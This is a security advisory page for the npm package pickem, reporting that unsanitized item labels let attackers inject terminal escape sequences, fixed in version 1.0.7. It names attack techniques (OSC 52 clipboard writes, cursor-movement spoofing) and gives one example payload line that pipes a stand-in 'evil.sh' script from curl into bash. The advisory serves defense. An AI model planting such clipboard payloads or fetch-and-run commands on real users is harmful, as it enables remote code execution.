GHSA-8qx3-8gm5-9cj2: Npm/pickem vulnerability

Published Aug 25, 2026
·
Updated

Impact pickem rendered item text (label, description, group, meta, name) to the terminal with no control-character sanitization. chrome.row only stripped ANSI from the active row; inactive rows, the public createFormatter, and selection-summary lines printed labels raw, and the ANSI strip missed bare C0 controls anyway.

Because item text is frequently attacker-controllable (git branch names, PR/issue titles, filenames, npm/API results), a malicious label was a terminal write primitive:

- OSC 52 clipboard write — silently load e.g. curl evil.sh | bash into the user's clipboard; their next paste-into-shell is RCE. - Cursor-movement + erase (ESC[1A, ESC[2K) — overwrite already-printed trusted lines to spoof UI (forge a "✓ Verified publisher", fake prompt, or hide a malicious entry). - BEL / C0 control flooding.

Any CLI that passes untrusted strings into pickem choices is affected.

Patches Fixed in 1.0.7. A new sanitizeDisplay() strips every escape sequence except inert SGR (color), plus all C0/C1/DEL control bytes, at the render boundary — applied to every externally-supplied display string across all prompts (select, search, checkbox, searchable-checkbox, input), createFormatter, row meta, and committed selection summaries. Display-only; returned values are unchanged.

Workarounds Upgrade to >= 1.0.7. Otherwise, strip C0/C1/DEL control characters and ANSI escape sequences from any untrusted text before passing it to pickem.

Affected Software

1 affected componentFixes available
npm/pickem<1.0.7
1.0.7

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/pickem to a version that resolves this vulnerability.

    Fixed in 1.0.7
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 1.0.7
  3. Configuration

    Otherwise, strip C0/C1/DEL control characters and ANSI escape sequences from any untrusted text before passing it to pickem; sanitizeDisplay() should strip every escape sequence except inert SGR (color), and remove all C0/C1/DEL control bytes for all externally-supplied display strings (e.g., select/search/checkbox/searchable-checkbox/input labels, row meta, createFormatter output, and selection-summary lines).

    pickem untrusted text sanitization at render boundary = strip

Event History

Aug 25, 2026
Advisory Published
via GitHub·03:59 PM
Data Sourced
via GitHub·03:59 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Who is exposed to this issue?

Any CLI that passes untrusted strings into pickem choices is affected. Common attacker-controlled sources include git branch names, pull-request or issue titles, filenames, and npm or API results.

2

What does an attacker need to exploit it?

The attacker needs to cause a user to render a pickem choice containing terminal control sequences. The vulnerable display paths included inactive rows, the public createFormatter output, and selection-summary lines.

3

What is the remediation?

Update pickem to version 1.0.7. This release applies sanitizeDisplay() at the render boundary across externally supplied display strings and removes escape sequences and C0/C1/DEL control bytes while retaining inert SGR color sequences.

4

What could exploitation enable?

A malicious label could write an OSC 52 payload to the terminal clipboard, potentially causing code execution if the user later pastes it into a shell. It could also use cursor movement and erase sequences to overwrite trusted terminal output or hide malicious entries.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203